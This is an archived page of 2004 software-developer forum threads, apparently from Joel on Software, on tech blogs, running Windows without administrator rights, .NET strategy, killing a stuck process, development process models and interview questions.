Sat 26 Jun | Tayssir John Gabbour | While I privately understand your sentiment, I think it's great these boring blogs out there. Because they're history, and occasionally people will want to sift through them. An audience for every desire. I wish that so much of lisp history were out there too. I have to mess around with out-of-print book departments to scan things in, and it's just so tiring. Also I've spent a stupid amount of time politely annoying people to record events and let me release their slides, as well as writing up events which weren't recorded. Yesterday, a free software guy corrected some analysis I made about his wiki software. (My analysis was still right, just he could tell I had a misconception.) Can you imagine how wrong historians have history? As far as I'm concerned, these MSFT blogs are great ideas even if I will almost never ever find them useful. If you want nontechnical fun, you might get a kick one night from http://www.infidelguy.com/ on Winamp tv. Also, I think these hosted by MSFT are unusually interesting, with Brian Eno and Google's Larry Page. http://murl.microsoft.com/videos/stanford/ee380/991013_OnDemand_100_100K_320x240.htm http://murl.microsoft.com/videos/stanford/CS547c/020111_OnDemand_100_100K_320x240.htm
Sat 26 Jun | Dennis Forbes | The discussions hits close to home with many geeks quite simply because it may not be life or death, but it is a potential lifestyle & career death to 'low level' developers who haven't abstracted their role -- we're in a career where broad skills, or perceived unrelated skills, have little value to many employers. Instead they want to see highly specific skills (just look at the job listings - It doesn't say 'open minded, proven, experienced software developer in the finance industry', it says 'Software developer with 4 years experience programming SOA .NET applications using a WebCache Database system, MSMQ, the 9 Sigma directory listing service, and a Biztalk orchestration layer. Candidates must be named Bob'. Many developers feel that they have to take this to the extreme, and must declare their fealty to a particular technology or platform, and must defend it to the death (there's a particularly strong .NET contingent of this sort right now - people who threw all their chips into the .NET pot and they'll be damned if they allow a criticism to stand unchallenged). This leads to highly passionate, charged debates over technical nuances because one crowd is trying to marginalize it, while another is trying to evangelize it (and both have the perception that their arguments for or against will really have an effect, and the winds of change will blow in the direction of their well conceived retort). This is actually a pet peeve of mine in this industry - many try to read into everything you say to determine where your technical loyalties lie. It is impossible to either praise or criticize a technology without the technical fascists presuming that you hold the banner of whatever the obvious opponent is. I remember, as a zit-faced nerd in Grade 10, watching a friend berate a fellow who had just criticized an episode of 'Star Trek: The Next Generation'. 'You call yourself a trekkie!' Quite a pathetic incident to fondly recall, but that was just one instance of many where I was made aware of the inability of people to rationally hold opinions on a topic without feeling that they must polarize to one extreme or the other, but sadly that is how many are on a wide range of topics. Bleh.
Sat 26 Jun | Steak, waffles, french fries, & scotch | >> Many developers feel that they have to take this to the extreme, and must declare their fealty to a particular technology or platform, and must defend it to the death Dennis, this is an excellent analysis of the underlying problem. The problem is basically that most of us are considered expendable unless we have exactly the right experience blend at a particular instant of hiring. Techies know this, and they then start to create an entire personal value system, code of honor, and personal philosophy based upon 'being' a particular flavor of developer. So the tech blogging is a symptom not so much as a 'problem' itself. In many ways it is a symptom of the exact opposite of professionalism: transient, topical discardable skills practiced by people who are regarded as little more than human kleenexes... I think what's so sad/offputting about this scene is that most developers aren't conscious that this is happening, so they develop these intricate webs of rationalizations and personal loyalties that resemble kids fighting over comic books or TV shows - what you said.
Sat 26 Jun | Mike Treit | You seem pretty bitter... The notion you have of some 'cubicle drone' at Microsoft who is like a 'disposable kleenex' really reflects that you have no idea just how cool it is to work at Microsoft. Seriously. People love the stuff they work on. They do it not because it's a job but because they absolutely eat, sleep and breathe the stuff. They really do love it. If that infuriates you for some strange reason...you could always not read the blogs.
Sat 26 Jun | anon | Would you rather read what Joel had for breakfast or what he did with his partner last night? In that case there are zillion blogs written by teenage girls adressing that topics :)
Sat 26 Jun | Steak, waffles, french fries, & scotch | Actually, I don't read anyone's blogs. I just find the subject matter of notable-geek blogs to be especially bizarre and narrow.
Sat 26 Jun | Damian | I'm going to blog this thread
Sat 26 Jun | Philo | 'Here's what *I* would find fascinating: a techie undergoing some personal crisis and undergoing personal transformation necessary to survive.' This board has expressed fairly vocally that that is *exactly* what they're not interested in. Generally when someone posts a personal drama or success there are at least five or six posts that people here don't care about personal drama - they want to hear about technical solutions. Of course, that would be the result of the standard 'only negative comments made' effect. My point is that you aren't the internet - the internet consists of millions of people with a myriad of different interests. That's what makes it so wonderful; if you don't like this web page, move on. I'm sure there are blogs that document personal drama - find them, and don't read the ones you don't like. Philo
Sat 26 Jun | Just wanted to know... | 'Actually, I don't read anyone's blogs. I just find the subject matter of notable-geek blogs to be especially bizarre and narrow.' You may be right, but this doesn't means other's are wrong! what do you want to confirm?
Sat 26 Jun | Steak, waffles, french fries, & scotch | I'm not wanting to confirm anything except to express the original viewpoint I posted at the top of this thread. Philo, you have an excellent point. Geeks only want to read propellor-head topics. As soon as someone mentions real world concerns outside the context of the programming environment du jour, they feel their heads exploding or they experience profound catalepsy. I just find it very strange that the only way to understand some blogs is to have development mastery of Visual Studio 2003 and other MS tools and to have a high degree of commitment to the exact technical leanings of the author. I once thought the whole purpose of published writing was the dissemination of material of general interest. Instead this stuff is a drone of one specially interested technician on arcana to other specially interested technicians. The mindset reminds of me a sleep over I had a friend's house when I was 11. We were into model rocketry. We woke up in the morning and my friend, a committed Estes modeler, says to me in all earnestness 'Centauri rockets are a piece of shit, aren't they?' I assented with the sort of absolute earnestness that only a third grader could muster. In our little world that one summer, that was absolutely and positively all that mattered. Peking could have been in flames, 'film at 11', and it would not have mattered. The supremacy of the Estes Big Bertha rocket was THE THING. And the test of time issue: I doubt any of this stuff, aside from some blog artices written at Joel's level of industry overview, will even be understandable in 3 or 5 years. I think Joel's stuff will survive and will make interesting reading in the future because it's about ideas and the intersection of the business environment with tech - it's not just about tech.
Sat 26 Jun | Steak, waffles, french fries, & scotch | Third grader ==> Sixth grader ... whoopsie
Sat 26 Jun | . | With all respects, how old are you? Left of 25?
Sat 26 Jun | Back up that pony son. | Read the blogs that give you the most bang for your buck.  If reading Joel's blog gives you some ideas and helps you out a bit then read it.  If you think it is just a techie whining then skip it.  For some strange reason I like reading about how Joel maintains his server down at Peer 1 because, quite frankly, I would like to own and operate a business where I would have a website generating enough traffic to justify a standalone server so that I could go down and maintain it.  Dreaming big? Yup.  But also learning about things I may or may not have a chance to do.
Sat 26 Jun | Tayssir John Gabbour | 'In writing about technology our institutions—journals, conferences, etc.—prefer a dry, jargon-laden style of writing. Perhaps there is some precision in jargon, but the reader is not invited in—at least not a diversity of readers. Without diversity in the scientific conversation, there is diminished opportunities for creativity through multiple ideas bouncing off each other. 'When we think back to the early days of almost every new programming language innovation in computing, the papers that described them were often very accessible. Often, the purpose of the paper was to explain the philosophy behind the new language or constructs in order to gain converts to that way of thinking, and so the style and use of vernacular was aimed at attracting readers, not protecting against being accused of error. 'At this point in our history, we need this sort of writing again.' http://www.dreamsongs.com/Feyerabend/Extravagaria.html However, you seem to have an anti-diversity tone which bothers me. I can't tell whether you intend it or I mistakenly hear it.
Sat 26 Jun | son of parnas | > Would it be absolutely 'fascinating' today to read about > the 'human drama' of defining Win32s...? What do you think the purpose is behind blogs? Are all of them to be fascinating for some unknown future audience? Are they to solve current problems? Are they to comment on topics you find interesting, whatever those may be? Where would you go for talk about specific technical topics if everyone addressed only great thoughts? Most of life is not deep or interesting, so what are we to write about other than our experience? I for one am quite sure there's little i could write that will be of enduring interest.
Sat 26 Jun | Steak, waffles, french fries, & scotch | >> 'At this point in our history, we need this sort of writing again.' - Amen. >> However, you seem to have an anti-diversity tone which bothers me. I can't tell whether you intend it or I mistakenly hear it. Tayssir, I can easily see how my rant leaves that impression. What I am 'against' is the seeming mindest of geek 'balkanization', the feeling one gets from more and more blog type stuff that there are many little camps of 'true believers' of some platform, language or API. The Angry Coder and his guest columnists with their petty tirade of the moment about certain kinds of 'fakers' or some insufficiency in Microsoft's product plans kind of exemplify the vibe. I kind of like the idea that if I read an essay, that I feel that I could carry on a decent conversation with the author. The geek blogosphere doesn't generally leave me with that feeling. I get the general vibe of 'niche cultists' each with some little axe to grind. I don't even want to talk to most of these people (yeah, they probably feel the same.) I have perused old Bell Labs Technical Journals describing early innovations in (say) VLSI design. Yeah, it's a 'corporate tool' product all the way. But the writing style is very accessible and non elitist, even though the people writing the stuff are generally creating fundamental new technologies. The comment above from 'Back up that pony son' about Joel's writings is a good one. Yes, Joel is one who can write in an 'open' way and who seems to have a good feel for topics that are 'liberal' in nature, interesting to more people than the .0001 % of the developer population deemed 'worthy and cool' by the author...
Sat 26 Jun | VPC | Football game commentators covering this year's Euro in Portugal are boring and too topical, too. I mean, it's always who's passed the ball to whom, who missed a free kick and stuff like that. They never talk if player had a car accident this year or how many times he got drunk lately, do they cheat their wives and how often, or how difficult is to move from one city to another. You know, when kids have to leave their friends and pets. Worse, stupid commentators just need to remind us how this team was beaten by another team in 1964 or even 1936. I mean, who cares if someone lost from the same team few years ago at World Cup in Japan/Korea? Mexican soap operas have much more drama than these stupid games. Would you expect more romance watching Denmark vs Sweden or El corazón de chica campesina?
Sat 26 Jun | one programmer's opinion | I agree that blogs written by geeks tend to be boring and too topical. Now having said this, what I want to know is the point are you trying to make. Maybe what you are really asking is 'Why does it seem to me that only the hardcore (people who live and breath technology) software developers blog and post in forums such as JOS and slashdot?'
Sun 27 Jun | janonymous | In an earlier thread, I too made a point that blogs are bad. They're mere useless diaries of people that want to be cool. They _think_ that they are being cool in having a blog, expressing their viewpoints to whomever wants to know. Like politicians (and politicians, too, tend to polarize). However, there is one good counter argument: you don't have to read everything that's on the web. The internet is free. It's a library and forum for both narrow and broad minded people. For those who care about the Euro 2004 game, and for those who don't. And it's true. It's so true. But in the real world, you can generally distinguish good reading from bad, and narrow minded from broad minded. You can tell by looking at a book's cover, title, and publisher. Besides, a book on .NET details is not in the prose section of a library. The internet is not sorted, and all publishers are equal. Just _because_ it's free. So you'll have to judge about quality and genre yourself. But hey, if you're not a geek, you probably can. What bothers me is that people automatically assume I am one of those geeks if they know that I'm in IT... By the way, I think this is the only forum on the internet that discusses computer issues at such a philosophical level. I love it. It's amazing to see such a low level of geekiness around here. Chapeau.
Sun 27 Jun | janonymous | Oops, I should know that a book is not human. Book's cover => cover of a book. Just like Son of Parnas != Parnas' son, or Parnas Jr. I Saw that, and laughed. Now I do the same. Shame...
Sun 27 Jun | Philo | Uh, in english you can use the possessive form on inanimate objects. 'Car's horn' is perfectly acceptable. Philo
Sun 27 Jun | nakedCode | Blogs are like the rest of the internet... you need to just sample a few, see what you like and leave the ones you don't. Also, because they are like the rest of the internet... it will take you a while to find something you like.
Sun 27 Jun | Janonymou's | Whoop's, s'orry 'bout that. I gues's I wa's wrong. Proves my point though. The internet is free, and free information may be worthless. :-D
Sun 27 Jun | Beth | Blogs seldom make for great literature. There's a reason for this. Your typical blogger, churning out a steady stream of short daily entries, is focused on the here and now. When you're in the midst of significant personal transformations, it's hard to recognize them as such. That understanding is more likely to happen after you come out on the other side of the experience. Most blogging is more 'here's what I'm doing this week' than 'here's a long, introspective essay about what I did six months ago.' It's also a big challenge to be interesting when blogging about work. Your co-workers, employers, and contacts at other companies might wind up reading your blog. That creates some pressure to avoid writing anything which someone might take the wrong way - not just criticism, but even overly colorful descriptions of people or interactions. Once you've filtered out anything about other people and anything that might give away confidential business info, what's left?
Sun 27 Jun | Steak, waffles, french fries, & scotch | Hi Beth: Your comments are spot-on. I don't find most blogs compelling reading. I think that techie blogs are a special case - they're generally incredibly dweeby considering the talent and the brains behind the keyboard. And maybe that's as much due to the posting volume as it is the subject matter. That was my original point - blogs by developers about development generally seem to be 'beneath' the intellectual capabilities of the authors - they read like some kids arguing about superheroes or race car models, not like a professional describing his priorities and key decision points at work. As stated earlier in the thread, this may be a defensive position taken because companies in this industry marginalize anyone who isn't allied with a certain political-cum-technical viewpoint, so the attitude of many bloggers and writers is 'jihaad'. It makes the viewpoints of the authors seem really arrested if you aren't part of the scene. The problem of anonymity is interesting. Yes, it doesn't leave a lot else to write about w/o liability. My response would be: bloggers should not be on an ego trip, just as writers are better when they get into their subject and forget about themselves. It's possible to write anonymously and generalize about specific people and situations. In fact, if you're describing conflicts or arguments, it's probably necessary unless you're about to retire or pass away... Only problem is, if you write anonymously it's dificult to take credit or develop a following.
Sun 27 Jun | That was not a very intelligent thing to say. | Just a guess but "Steak, Waffles etc.." sounds like our esteemed Bored Bystander.
Administrative account on windows? | Sat 26 Jun | Michael Moser
Question (maybe it has been asked before, but i did not find it) Are all users of Windows nt/2000/xp running as administrator? Is anybody running as a more restricted account?
Sat 26 Jun | Eric Debois | Home users usually use Admin accounts. In corporate networks, usually not.
Sat 26 Jun | Simon Lucy | Developers need administrative rights, or the majority of them anyway.  But they should test with regular user rights.
Sat 26 Jun | Brad Wilson | That's untrue. Developers _don't_ need administrative rights for their day to day development work. The compiler doesn't require it. The debugger doesn't require it. The IDE doesn't require it. My now woefully out of date 'list of software that works' includes links to many articles that detail the process of developing without admin rights. http://www.dotnetdevs.com/articles/RunningAsNonAdmin.aspx
Sat 26 Jun | AllanL5 | I try to run in a non-admin role, so that when I try to do something which DOES require the admin role, I at least find that out. I find many software packages are silent about their need for admin priveleges -- but most installs do require it. So no, if you are 'joe blow' software developer, and you are using a well-defined set of tools, and you never leave that set, then no, you shouldn't need admin. BUT, if you are a 'power' user, and want to evaluate tools, and want to update your skills by installing Perl or Java, perhaps even a web-server, then yes, from time to time you need admin priveleges.
Sat 26 Jun | anon | Trying to convince a developer to develop without administrative rights is two-fold ridiculous: 1) They'll be forced to spend extra time attempting to debug why their ASP.NET isn't debugging . . . 2) you'll be forced to spend extra time attempting to get their 'user' account debugging . . . Trust me . . . lighten up . .. it's only their machine, anyhow.
Sun 27 Jun | Simon Lucy | Ok, developers of serious applications generally need admin rights. Developers of toys may not.
Sun 27 Jun | Raj Chaudhuri | Mr. Lucy I respectfully disagree. Running as Admin while development *produces* toy applications. Applications that open files or registry keys in ALL_ACCESS mode when they want to read them. Applications that change system-wide settings when they have no business doing so. Applications that cause crashes. Applications that can be taken advantage of by hackers. Unless you are developing device drivers, you do NOT need admin privileges.
Sun 27 Jun | Brad Wilson | I love how some people think resorting to a sly sort of ad homenim attack means they're 'participating in the debate'. It's clear that real world applications can be developed as non-admin, including ASP.NET applications, because people do it all the time, myself included.
Sun 27 Jun | Mr. Analogy | 'The IDE doesn't require it.' Unless you're trying to install the .net framework so you can use C #, etc.
Sun 27 Jun | John Topley (www.johntopley.com) | 'Unless you're trying to install the .net framework so you can use C #, etc.' That's what Run As is for. My Windows XP account at home is a member of the Power Users group but even that's probably too elevated.
Sun 27 Jun | Brad Wilson | You re-install the .NET Framework as a day to day activity? Exceptional activities -- like installing software -- will often require admin priviledges. Day to day activities generally don't, unless the software in question was poorly designed. All Microsoft software that developers use (that I'm aware of) runs without admin priviledges required.
Sun 27 Jun | B | Uh, as a developer I am expected to install and use our software. You dont need to be and admin to do this, unless you run as a service ( which you probably do ). All sorts of essential tools only work as admins - procexp, filemon, netmon to name a few. It really depends what you are developing. DDK work requires admin. DBA not so much.
Microsoft didn't bet the company on .Net after all | Sat 26 Jun | Dewd
After reading much of the commotion on Joels article (which for me was great, because even though I knew that .Net meant Asp.Net, I didnt have any confirmation,) I came to the conclusion that theyve bet it on Longhorn, because only LH will give meaning to all the promises that we have heard all along since they began announcing .Net. Java is still doing pretty well, for example, and I expect it to continue doing fine. Maybe even finer, as the competition of .Net might be pushing them. As for IE not being updated for a long time, I think it helped the web standard, even if now they dont want this standard anymore. Mono can help those that are stuck with other OSs, and at the same time, help the standard to continue for as long as possible. PS: The new blog-style of information dissemination is much better. We can have soap opera written for us in real time. :-) (I dont miss Ask Joel one bit.)
Sun 27 Jun | As400 | 'I came to the conclusion that they've bet it on Longhorn,' I think you are correct. Why would they bet the company on a java knock off considering their cash cows are Office and Windows?
Sun 27 Jun | As400 | Sorry, I also meant to add that is .net was so all fired important you couldn't find a service pack without it.  Or they would make media player or something that everyone gets "require" it.
Sun 27 Jun | Kyralessa | With $52 billion in the bank, is there really any risk to Microsoft in "betting the company" on anything?
Sun 27 Jun | Mr. Analogy | 'Sorry, I also meant to add that is .net was so all fired important you couldn't find a service pack without it. Or they would make media player or something that everyone gets 'require' it. ' YES! YES !! YES !!!! I've been saying this for nearly two years now. Since M$ isn't requiring a .net upgrade it's because: a. It's a burden on the user (it is) b. .net isn't stable yet, they want to wait till it's stable. (I think this is true too). c. They have NO interest in supporting .net for shrinkwrap software. I.e., if they made it a required upgrade, then it would be MUCH easier to use for shrinkwrap.
Sun 27 Jun | Kyralessa | I assume when you say shrinkwrap, you really mean downloadable, since 20MB is nothing on a CD-ROM.
Sun 27 Jun | HP | Yup if they be the company.  The .net runtime would rival aol cd's in number.
Here's a what if | Fri 25 Jun | HP
What if the credit card companies could sue for damages resulting from fraudulent purchases stemming from trojanned windows machines with keyloggers.  That might make Microsoft push security a little harder.
Fri 25 Jun | Wayne | They'd say "That's what if, byotch".
Fri 25 Jun | . | How could you tell that the card details used in the fraudulent purchase were obtained via a keylogger?
Sun 27 Jun | www.marktaw.com | Whenever there's massive amounts of credit card fraud, they try to find what they all have in common. One case where the victims were spread all over the country involved a Rent-A-Wreck center in Florida that everyone had visited. I imagine they'll examine the computers & find the spyware, and between any footprints it might leave & the spending habits of whoever got the CC#, catch them. Either way, it would be prosecuted as credit card fraud the same as anything else.
Sun 27 Jun | HP | Online fraud could be greatly curtailed if the card companies would issue a card that could only be used on the internet and only in conjunction with a card scanner hooked to your pc. The card number alone means nothing if you don't have the card and the hardware, which would be encoded with each having one half of a key. If onine fraud gets costly enough, I would think the companies would find it cheaper to do somethin like this.
Ending the process under Windows | Fri 25 Jun | NNL
Hello, I have a problem with an application. When I close it, it stays resident in the memory and causes a crash of my machine (Windows 2000 boots again) a few minutes later. Ive tried to right-click the process in Task Manager and to end it with the End Process option but it still stays in memory. When I try to end it again, W2k says Access denied. A few minutes later, my machine crashes. Next thing Ive tried was PsKill (from sysinternals.com) but it behaved just like Task Manager (process killed, it stayed resident, kill again, Access Denied, crash). Do you know some application I could use to try to kill it?
Fri 25 Jun | yet another anon | Are you doing "end process" or "end process tree".  If you're just doing "end process" try right-clicking on on the application and select "go to process". Then, right-click on the process and select "end process tree".
Fri 25 Jun | NNL | I've tried both "end process" AND "and process tree". But I don't have the option "go to process".
Fri 25 Jun | yet another anon | "go to process" is on the context menu only when you're in the Applications tab and you right-click on the application.  This is handy when you're not sure what the parent process is for an application.
Fri 25 Jun | NNL | Thanks for the suggestion but "go to process" option points to the application I’m trying to end with "end process". "go to process" -> "end process tree" still crashes the machine :(((
Fri 25 Jun | Maybe This? | check if drwatsn32.exe is running, maybe program is stalled in debugger
Sat 26 Jun | . | Try running Tasklist and Taskkill from a Command Prompt and see if it returns any useful error messages. Taskkill/? for options
Sat 26 Jun | NNL | Dr.Watson is not running :( so no process is being debugged. Unfortunately, tasklist and taskkill are WinXP/W2003 Server commands (but I still don't think they'd help). Or should I copy them from my W2003 Server VM?
Sat 26 Jun | Michael Moser | i have a small program that runs task manager with privileges to kill any programs (including services). http://www.michaelmoser.org/progs/dbug_supermgr.htm
Sat 26 Jun | Dot For This One | I'm starting to remember why I wish I didn't have to use Windows.
Sun 27 Jun | Raj Chaudhuri | Could you share the name of the application? I have never had Win2K crash on be when I ended a task. This might be a special case.
Building a process | Fri 25 Jun | Unix2M$
Im recently began to try to figure out how to put a process on what my team and I do on daily basics. I red some specs here and there, and some documents here and there. But nothing really out there gives me some sort of guideline as to how to put process around what we do daily. Does anyone know any good resouces out there? I remember reading something about software maturity model, but cant seem to remember what it is.
Fri 25 Jun | Green Pajamas | Capability Maturity Model (CMM)? http://www.sei.cmu.edu/cmm/cmms/cmms.html
Fri 25 Jun | Sathyaish Chakravarthy | Here, in my company, we have a browser-based intranet application for tracking project work done by teams and individual members. Its called Digital Workplace. Microsoft has also got one called Digital, umm..., I forget. That might be your best bet. Or if you have a small team, you could whip some code and create a simple Windows-app in VB connecting to a database server with a DSN on your LAN. Besides that I can only offer you a suggestion - read all of Joel's articles from his archive and you'll find some help there.
Fri 25 Jun | Tom H | CMM doesn't define a process, it only requires that you have a process that is repeatable. Same with ISO 9000: http://www.iso.org/iso/en/iso9000-14000/iso9000/iso9000index.html
Fri 25 Jun | hoser | http://www.martinfowler.com/articles/newMethodology.html
Fri 25 Jun | son of parnas | 1. What kind of software do you build? 2. What kind of people do you have? 3. What are the expectations on your team? These kind of meta questions will help pin-point where you are in process space. The process for a router is different than software for which is different from web access to a reservation system.
Sat 26 Jun | Ged Byrne | paranas' son, Thanks for the awesome link.
Sat 26 Jun | Ged Byrne | I mean hoser.
Sat 26 Jun | Tom H | Here's a link that appeared on Slashdot yesterday, gives one person's view of the process at Microsoft: http://blogs.msdn.com/David_Gristwood/archive/2004/06/24/164849.aspx
Sun 27 Jun | John Rusk | The 'Crystal Clear' methodology may suit you well if your team is smaller than about 10 people. It's based on research into successful small teams and is specifically designed to be easy to adopt. See http://c2.com/cgi/wiki?CrystalClearMethodology There's a book due out later this year, with the current draft available on line. I rate it as one of the best things I've ever read about software development processes.
Sun 27 Jun | John Rusk | PS. Regarding CMM, I think you'll find something like Crystal Clear much more effective. If your starting point is a team with no formal process, and you to try to adopt something 'big' like CMM or RUP, chances are you'll expend a lot of effort for relatively little gain. (Yes, I know than in theory RUP can be customised 'downwards' to something quite light, but why not start with something that's light already!) See the Preface of the Crystal Clear book for more info, plus the section of the book that explains how it differs from CMM and RUP.
Sun 27 Jun | Agres | Just be careful. CMM and ISO, while not specifically processes themselves, tend to: yield awful processes; accumulate and attract layers of management, 'specialists', and other friction; severely alienate creative people like your better programmers; drastically harm productivity. You'll find anecdotes and studies by the organizations that profit from CMM and ISO, including SEI, that suggest those mechanisms help. Where they help are in horrible situations where dozens or hundreds of untalented and unintelligent people have been spinning their wheels act and acting rashly. Such places benefit by slowing the pace to a crawl and involving several people in every decision so that no single buffoon can bring harm by making a stupid decision alone, and every step is taken slowly enough for slow minds to produce adequate results. If you are serious about adding some useful guidance and discipline into an organization, explore the agile movement, which includes Crystal mentioned above. (Google things like Agile Manifesto or Agile Alliance. Some names: Beck, Highsmith, Cockburn, SCRUM, XP, TDD.) My advice is to look at quite a few of these, and find one or two that suite your team. Unless your team makes such choices themselves, your results will be unhappy. These are disciplines, and all discipline requires commitment. You cannot force true commitment upon people. You're going to have to sell this. A common mistake is to read about one or more of these, and introduce a few of the practices without adopting the philosophy that makes those practices effective. I tend to recommend teams immerse themselves in one of these disciplines, using every practice of that discipline before you start pairing away, modifying, and localizing it. It's important to learn a proven tradition well before you create your own. Ask Picasso.
Sun 27 Jun | Chip H. | I can also suggest the pragmatic programmer series (http://www.pragmaticprogrammer.com/). While not a 'process' per-se, it's an excellent collection of best-practices.
Question to ask interviewers | Fri 25 Jun | the real world
I have a couple of upcoming job interviews and have been thinking of general questions to ask that might reveal the culture of the company. So far, I have come up with the following: 1) How well do you deal with incompetents? 2) Have you ever fired anyone for stealing? 3) What is the latest you will allow an employee to come into work? 4) How soon until Im promoted? 5) Are you OK with employees talking down to you? 6) What would you do if an employee didnt show up for work and didnt call in? I think this is a good start and the answers will let me know if I want to work there and, if I did accept the job, how long I might last. However, I would like to see what questions others on this board ask to reveal the cultural heart of a potential employer. Fire away!
Fri 25 Jun | Aaron F Stanton | uhhhhh....it would appear to me that some interviewers might interpret those questions to mean 'How much can I get away with, steal, and slack off on before you fire me?' and maybe not as 'Am I going to be working with a bunch of lazy incompetent thieves?' Might want to be careful in how you phrase those...
Fri 25 Jun | sgf | If you ask those questions, you won't need to worry about how long you'll last...
Fri 25 Jun | Full name: | I have to agree with the previous posts. It would be better to ask about the turnover rate, if the position you're interviewing for is a new position or a replacement position and if it's a replacement position, ask why, ask if the company offers 'flextime', etc.
Fri 25 Jun | Sathyaish Chakravarthy | In the last year, I've stopped applying anywhere else, but I'll give you a checklist I carried with me on paper to put forward to the interviewer when they'd finished interviewing: (1) Who is the company owned by? In trying to ask how this company is financially owned. It happens that many companies here call themselves MNCs to lure candidates, but they're actually not truly MN_C_s. It is good to be wary of _one_man_dictatorship_firms who call themselves MNCs just because they have some relative outside your country with a small office space. You also get to know how democractic the management is, if you know it is publicly held or at least a deemed public company, even if it is not listed on any stock exchange. (2) Are you a 'project-based' company or a 'product-based' one or a hybrid? Here you're trying to ask, 'Do you have fixed budgets for projects and once the project is through, no matter how good I am, you won't have the funds to sustain me and you'll start ticking names.' (3) How many employees do you have? (4) What are you working hours? How often is it that developers are required to stay back. Do you have an overtime policy. Most of the software companies don't have an overtime policy but this question should tell you how much overtime they usually _force_ on developers. (5) Try and look around if they have the basic amenities to keep developers who work late hours comfortable. Like do they have water coolers, proper rest rooms, air conditioning, proper chairs. I say these things because my company lacks on all these fronts. I have had to take naps on my desk and it is _very_very_very_ uncomfortable. They do not have a room where you could take some rest. Plug: The first chapter of Microserfs says it is common for developers to take a nap in their _closed_door_cabins_ at Microsoft and no one minds it if you're doing overtime and taking a siesta. Over here, its sinful even if you work your ass off. (6) How many leaves in a year are paid? What is your leave policy? (7) Later on, when you're selected, you can ask them how and when they pay - what date of everymonth, what mode - cheque, auto-credit etc. (8) Do they have a library? Very important question. Some companies invest a lot in learning resources even if they cannot afford to train you through some corporate training program, having a good library with all the _delicious_ books can be a good bait. It also shows you'll be working with some developers who read something. (9) What quality environment do they have - ISO, CMM? I forget there are more.
Fri 25 Jun | Mikayla | You've already thought about questions they might ask you. Take your favorites, figure out why they're important to you, turn them around and ask the appropriate interviewer/s. The trick is asking questions a bit sideways, just like good interviewers do - if there's an obvious right answer, you won't learn anything. If I were interviewing tomorrow, for example: I'm very technology agnostic, so I'd ask a technical interviewer 'What's the worst thing about $your_dev_language, and why?' and see how long they sputter, how intelligent the resulting discussion is. I hate bureaucracy, so I'd ask a lead developer or a PM to tell me about the last major process change that happened, and see how long it takes them to remember, how long ago it was, etc. As to the 'are my coworkers morons?' question, I'd try reversing it, and ask everyone you meet to talk about some of their favorite people in the company to work with. Asking for a single name, you're going to get pauses and noncommittal 'I like everybody' answers, but I'd expect better with 'some.' A list of qualities the interviewer thinks are important, at the very least. Maybe the chance to talk to some of the people named and evaluate them myself. Disclaimer, those are just the questions whose answers say the most about me, and anyone else's are likely to be completely different.
Fri 25 Jun | Nearly Nameless | If it's a small company that doesn't have a dedicated hiring staff: 'So what do you do?' (pause) 'Is that all? How much do you get for that?'
Fri 25 Jun | Pete | In the past I've asked 'what do you enjoy the most about working at Company XYZ?' Then I generally follow up with 'What is the most difficult part about working at Company XYZ?' For me, it gives insight into the office environment and makes the interview feel a bit more personal if the interviewer is willing to share some info about the good AND the bad. How do you guys think about such questions?
Fri 25 Jun | Sathyaish Chakravarthy | Please dont take this personally but I have a staunch aversion towards that question, 'what do you enjoy the most about working at Company XYZ?' Unless it is a truly great company, a huge corporation with a large building, plush tilings on the floor, a huge cafeteria and stuff that already tells you it is rich, this is a hackneyed question that will get you a cockneyed, stammering response. I've tried it, and it goes like, 'The best thing about this place is that it provides you with a challenging environment. The work is very challenging. We may not pay that much, but we have projects like not many companies have. The work is cutting-edge.' I interpret it as: 'I don't get paid enough and they expect me to work on things I don't quite understand. The employer is a dictat and this place is boring.'
Fri 25 Jun | Brad | Pete, I think it's good to ask non-managers to name their favorite and least-favorite things about working there.  Managers will give the party line, but at the end of a couple hours of technically drilling you a software engineer will often be more honest with you than maybe he should.
Fri 25 Jun | Mr Fancypants | 'Sup fool? You forgot one: 'You gots any cute daughters, Daddy-O?' Peace out.
Fri 25 Jun | Bob | Mr Fancypants, I like the way you think. You've got 'management material' written all over you.
Fri 25 Jun | Mr. Analogy | 'The trick is asking questions a bit sideways, just like good interviewers do - if there's an obvious right answer, you won't learn anything. ' Incredibly insightful. It's the key to ANY question asking where you're seeking the truth.
Sat 26 Jun | anony coward | 'So far, I have come up with the following:' May as well add: 7) Has an employee here ever gone ballistic and killed several coworkers? The questions you list are silly. Seriously, do some research before the interview; it helps a lot to know the company's ownership, product line, revenues, profitability, etc. The only question I can suggest: Is the opening you are applying for due to an increase in staff or a replacement for someone who left? And if it's a replacement, try to find out why the other person left.
Sat 26 Jun | Bill Rushmore | How about what are you company's strengths and weaknesses?
Sat 26 Jun | Just wanted to know... | Sathyaish Chakravarthy: 'put forward to the interviewer when they'd finished interviewing' Great! Just 9 Questions!What about adding more!? Did you get the job?
Sat 26 Jun | Jorel on Software | Yeah, that original list is great. Here's a couple more: Do employees with STDs get extra sick leave? What are you wearing under those clothes? and of course... Do you swallow?
Sat 26 Jun | www.marktaw.com | It seems I've started a trend talking about job interviews as if they're flirting. 'As a new employee, what's the #1 thing I can do to get up to speed and be productive in the shortest amount of time possible?'
Sat 26 Jun | the real world | Who are you and what is this trend you've deluded yourself into believing you started?
Sat 26 Jun | no name | And, for some of our trusted readers: 1. Who gets to ride in the back of the Bradleys and who has to ride in the (unarmoured) cars? 2. Does everyone get a Kevlar vest, or only senior officials? 3. Are armed escorts provided for all transport movements, or only at night time?
Sun 27 Jun | Should be working | One of the most important things to look for IMO is whether the culture is blame-oriented or solution-oriented. A blame-oriented environment will have you watching your back, reluctant to speak using anything other than politically-correct verbiage, reluctant to own up to mistakes. You also want to get a general feel for the place, which you can do by just noting the general mode of the people who interview you. Are they enthusiastic, open and interested? Are they engaging you in a real dialogue or are they testing you and probing for weaknesses? Do they seem to have difficulty answering general questions about what things are like at the company? Are they reluctant to discuss any possible problems the company has? Last, I have heard of a guy who asks one question wherever he is interviewed: 'What's the Dilbert rating around here?' He'll ask the manager and one of the developers who he'd be working with. Since I don't know him personally I can't ask him how well it works. But I'm tempted to try it myself next time I start looking.
Linux at work? | Fri 25 Jun | Sean
How many of you out there are using Linux in your workplace? On a server? Or a workstation? Perhaps even developing commercial software to run on Linux? I was just curious, seeing as how my company seems to love .NET and scorn anything Linux-related. Personally, I also run Slackware at home, but unfortunately have no chance of sneaking Slack in at work.
